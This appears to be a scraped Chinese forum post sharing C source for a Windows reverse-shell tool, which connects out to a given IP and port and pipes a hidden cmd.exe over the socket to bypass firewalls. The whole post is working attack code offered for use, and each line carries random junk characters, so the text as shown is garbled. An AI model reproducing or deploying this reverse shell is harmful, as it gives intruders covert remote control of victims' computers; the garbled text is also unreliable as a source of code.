这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j\f;zb?F
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/* ============================== Vd4x!Vk
Rebound port in Windows NT 0!o&=Qh
By wind,2006/7 ZGSb&!Ke
===============================*/ 0XSZ3dY&+
#include pY!@w0.
#include F=Z|Ji#
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#pragma comment(lib,"wsock32.lib") \A*#a9"
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void OutputShell(); fxXZ^#2wX
SOCKET sClient; ;VeC(^-eh6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E).Nu
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void main(int argc,char **argv) {jcrTjmxe
{ i|*(vH&D.
WSADATA stWsaData; 0diQfu)Fi
int nRet; |0ACapp!
SOCKADDR_IN stSaiClient,stSaiServer; FcdbL,}=<
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if(argc != 3) iyc}a6g
{ epJVs0W
printf("Useage:\n\rRebound DestIP DestPort\n"); ce.'STm=
return; D0v!fF~
} ;<Oe\X
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WSAStartup(MAKEWORD(2,2),&stWsaData); q!$ZBw-7>A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pi q%b]
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stSaiClient.sin_family = AF_INET; 4gG&u33RrE
stSaiClient.sin_port = htons(0); y;keOI!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 15x~[?!
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;}#tm9S;
{ s+2\uMwf*
printf("Bind Socket Failed!\n"); IfF<8~~E
return; ]QJLES
} /~{8/u3
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stSaiServer.sin_family = AF_INET; n9<QSX&~<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lfOF]Kiqr
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1?]Gl+}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eG72=l)Mz
{ *^bqpW2$q
printf("Connect Error!"); I;qeDCM
return; @2v L'6
} )a.w4dH
OutputShell(); gG1%.q
} Wo&MHMP
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void OutputShell() bLUn>ch
{ ,DqI> vx|
char szBuff[1024]; lsCD%P
SECURITY_ATTRIBUTES stSecurityAttributes; BB-E"<
OSVERSIONINFO stOsversionInfo; 3;Kv9i<~LE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'uGn1|Pvy
STARTUPINFO stStartupInfo; ZMids"Xdf
char *szShell; NC)I u
PROCESS_INFORMATION stProcessInformation; :/c=."z.
unsigned long lBytesRead; SSYE&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {'l^{"GO"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l3R`3@
stSecurityAttributes.lpSecurityDescriptor = 0; 3+@p
stSecurityAttributes.bInheritHandle = TRUE; c}kZx1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r0379 _
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); oFB~)}f<v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5"%r,GM U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I7ZY9W(S
stStartupInfo.wShowWindow = SW_HIDE; A6v02WG_1T
stStartupInfo.hStdInput = hReadPipe; (zIP@ H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UX}ZE.cV
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GetVersionEx(&stOsversionInfo); K??%Qh5l+C
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switch(stOsversionInfo.dwPlatformId) v!27q*;8H
{ V0q./NuO
case 1: RMUR@o5N
szShell = "command.com"; i
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break; J3KY?,g3O_
default: mRZC98$ @r
szShell = "cmd.exe"; Y*/:IYr`
break; 3?iRf6;n
} Eo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U+>!DtOYK
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send(sClient,szMsg,77,0); .I$Q3%s
while(1) )XV|D
{ ,X25 -OFZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,V'+16xW
if(lBytesRead) izy7.(.a
{ Tqz{{]%j~$
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :#s6,
send(sClient,szBuff,lBytesRead,0); bO]^TRaiJ
} !#j
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else 43-mv1>.
{ PeGA+0bm
lBytesRead=recv(sClient,szBuff,1024,0); 92!1I$zi
if(lBytesRead<=0) break; Wjc1 EW!2x
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bRT1~)
} Cj"+` C)l
} [[2Zcz:
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return; smvIU0:K
}